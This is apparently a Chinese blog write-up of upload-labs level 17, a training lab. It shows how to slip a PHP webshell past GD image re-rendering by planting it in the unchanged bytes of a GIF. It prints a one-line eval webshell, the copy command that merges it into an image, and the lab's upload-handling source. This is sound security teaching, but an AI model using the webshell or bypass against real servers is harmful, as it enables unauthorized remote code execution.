当前位置: 首页 > news >正文

upload-labs靶场-第十七关详解

upload-labs第十七关是一个涉及二次渲染的关卡。
首先打开本关后查看提示:

看到提示告诉我们本关重新渲染了图片,说明仅是上传普通的图片马可能会失效。所以我们先上传一张图片马,看看会发生什么。
我们先准备一张图片文件(后缀为gif | png | jpg)都行,然后再准备一个php文件,在里面写入一句话木马:

<?php @eval($_POST['code']);?>

准备好之后,我们打开命令行,在存储图片文件和php文件的目录下使用命令:

看到图片上的样子说明图片马已经创建好了,这个命令的格式是:
copy 合法图片文件.gif/b + PHP木马文件.php/a 最终生成的图片马.gif ,其中参数 /b代表以二进制字节流的方式处理 / 合并文件,按文件原始字节内容原样拼接,不做任何修改、不添加任何额外字符(如换行、空格、转义符),这样就可以保证copy命令不会以默认的文本模式合并,从而使得图像能够解析。再来说参数 /a代表ASCII(文本模式),确保php文件当作纯文本文件处理,自动忽略文件末尾的 Ctrl+Z(Windows 文本文件的结束标记),避免在合并时引入多余的结束符,防止破坏图片结构。
我们可以使用蚁剑来验证是否成功写入木马。来到之前的第14关,上传图片马,利用文件包含来测试。

从图片中看到蚁剑连接成功,说明木马被成功写入。
完成这一些准备工作后我们正式在本关上传图片马,(注意:上传前要开启php扩展中的GD库,否则无法解析和二次渲染图片)

上传成功后我们同样使用蚁剑测试是否还可以连接成功:

发现竟然连接不上了,说明文件中的木马可能在重新渲染时被省略掉了。因此我们打开源码进行审计:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径$filename = $_FILES['upload_file']['name'];$filetype = $_FILES['upload_file']['type'];$tmpname = $_FILES['upload_file']['tmp_name'];$target_path=UPLOAD_PATH.'/'.basename($filename);// 获得上传文件的扩展名$fileext= substr(strrchr($filename,"."),1);//判断文件后缀与类型,合法才进行上传操作if(($fileext == "jpg") && ($filetype=="image/jpeg")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromjpeg($target_path);if($im == false){$msg = "该文件不是jpg格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".jpg";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagejpeg($im,$img_path);@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错!";}}else if(($fileext == "png") && ($filetype=="image/png")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefrompng($target_path);if($im == false){$msg = "该文件不是png格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".png";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagepng($im,$img_path);@unlink($target_path);$is_upload = true;               }} else {$msg = "上传出错!";}}else if(($fileext == "gif") && ($filetype=="image/gif")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromgif($target_path);if($im == false){$msg = "该文件不是gif格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".gif";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagegif($im,$img_path);@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错!";}}else{$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";}
}

通关审计代码,我们发现代码一共有两层防护:
1.第一层防护:检查文件的后缀名,仅允许上传后缀为gif,png,jpg格式的文件,并且MIME 类型要匹配对应图片类型(image/jpeg/png/gif),才能进入下一步;
2.第二层防护:对后缀名通过的图片文件使用PHP 的 GD 库函数imagecreatefromjpeg()尝试从指定文件创建 JPG 图片资源—— 如果文件不是合法的 JPG 图片(比如只是改了后缀的 PHP 文件),这个函数会返回false,直接判定为非法文件并删除,再使用imagejpeg()函数基于上面创建的图片资源,重新生成一张全新的 JPG 图片(这就是 “二次渲染”),最后删除原始上传的文件,只保留重新生成的图片文件。对于其他类型的图片文件也是一样的处理逻辑。

因此要如何绕过二次渲染的机制呢?

核心绕过思路:要想绕过二次渲染的机制,就需要了解二次渲染的工作原理:
GD 库的二次渲染过程是:原始图片文件 → GD库解析为图片像素数据 → 重新生成新的图片文件
这个过程中,GD 库只保留 “图片像素相关的核心数据”,会丢弃图片文件中的 “非核心数据”(如图片的注释、冗余字节、自定义插入的代码);
但不同图片格式(jpg/png/gif)的渲染逻辑不同,部分格式会保留一些 “可写入区域”,我们可以把 PHP 木马插入到这些区域,让 GD 库二次渲染后仍保留代码。

不同图片格式的渲染特性:
(1)JPG 格式:最难绕过

  • JPG 是有损压缩格式,GD 库渲染时会重新编码图片数据,几乎所有非像素数据都会被清除
  • 即使在原始 JPG 中插入 PHP 代码,二次渲染后的新 JPG 文件中,代码会被完全删除,因此 JPG 几乎无法绕过。
(2)PNG 格式:较易绕过
  • PNG 是无损压缩格式,GD 库渲染时会保留图片的 “IHDR(头部)、IDAT(数据块)、IEND(尾部)” 等结构,但会优化冗余数据;
  • PNG 的IEND(文件结束块)之后的区域,GD 库渲染时不会修改—— 我们可以把 PHP 代码插入到 IEND 之后,二次渲染后代码仍保留。
(3)GIF 格式:最容易绕过
  • GIF 格式结构简单,由 “文件头、多个图像块、结束块” 组成;
  • GD 库渲染 GIF 时,只会处理图像的像素数据,对 GIF 的注释块(Comment Extension)或非关键数据块中的内容不做修改—— 把 PHP 代码插入到 GIF 的注释块中,二次渲染后代码仍会保留。

了解到这些后我们仍然使用 gif 的图片格式尝试绕过(因为最容易绕过),但前提条件时我们的找到 gif文件的注释块在哪,其实这里我们可以理解为图片中那些重新渲染时不变的区域(非核心数据的区域)。那我们该如何找到那些区域并插入木马呢,那就需要用到二进制编辑器来修改图片的16进制数据(这里我使用的时 Imhex 这款软件)

如上图,我们先在Imhex中打开没上传前的图片马和上传后的图片马,然后在 视图 中找到 差异 选项来查看两幅图的差异在哪里:

如上图所示两个图片文件中有黄色高亮的部分是这两个文件存在差异的部分,因此我们就要在没有高亮的部分(即非核心数据区域)插入木马。

就像上图那样,在非核心数据区域插入木马。然后再保存修改后的图片文件,重命名为picma3.gif后我们再到靶场测试一下,看看能不能被蚁剑连接上

可以看到成功连接上

至此,本关通过!

http://www.jsqmd.com/news/315019/

相关文章:

  • 西门子S7-200 PLC与组态王工业锅炉温度控制系统
  • InsightFace人脸分析系统实战:与FastAPI融合,构建RESTful API供Java/Go后端调用
  • Ollama部署ChatGLM3-6B-128K入门指南:支持128K上下文的本地AI考试出题系统
  • 学生党福音:免费中文语音识别模型,写论文笔记超省心
  • 工业自动化设备中EEPROM数据持久化的代码实践
  • 微调前后对比:模型生成质量变化一目了然
  • mT5中文-base零样本增强模型实操手册:WebUI响应延迟优化(batch_size/num_beams调参)
  • Qwen3-32B多场景落地:Clawdbot赋能HR部门简历智能筛选系统建设
  • Qwen3-VL-4B Pro效果实测:动态模糊图像中运动主体行为意图推理能力
  • 5分钟上手OCR文字检测!科哥的ResNet18镜像让AI识别超简单
  • 自动抢券、点外卖?Open-AutoGLM生活场景实战应用
  • GLM-Image环境配置全解析:支持2048x2048高分辨率输出
  • MedGemma-X一文详解:视觉token压缩策略对胸部影像关键区域保留分析
  • 手机照片秒变艺术照!Qwen-Image-Edit-2511实战演示
  • HG-ha/MTools在企业内容生产中的应用:提升多媒体处理效率
  • 阿里开源模型新版本,Qwen-Image-2512使用初体验
  • Android 应用启动 -> Android 多种方式启动同一进程,Application.onCreate() 会多次执行吗?
  • Fun-ASR-MLT-Nano-2512保姆级教程:Ubuntu+GPU环境从零部署多语言ASR
  • DeepSeek-R1-Distill-Llama-8B应用场景:DevOps日志异常推理与根因分析助手
  • 基于Yolov5的红外小目标性能提升探索
  • 全任务零样本学习-mT5中文-base惊艳效果展示:10组原始vs增强文本对比
  • 升级体验:开启GPU加速后SenseVoiceSmall快了3倍
  • ccmusic-database入门指南:理解224×224 RGB频谱图输入与CV模型跨界应用原理
  • Windows10摄像头故障修复指南:解决配置信息损坏导致的代码19错误
  • CogVideoX-2b企业级部署:隐私安全+本地渲染的AI视频生产方案
  • 对话红杉中国合伙人苏凯:鸣鸣很忙核心竞争力是足够快
  • 自媒体创作者福音:VibeVoice实现日更播客自由
  • 鸣鸣很忙港股上市:市值超900亿港元 红杉与好想你是股东 腾讯加持
  • 零售行业创新:InstructPix2Pix驱动虚拟试穿体验
  • 动手试了阿里万物识别模型,结果太准了!附全过程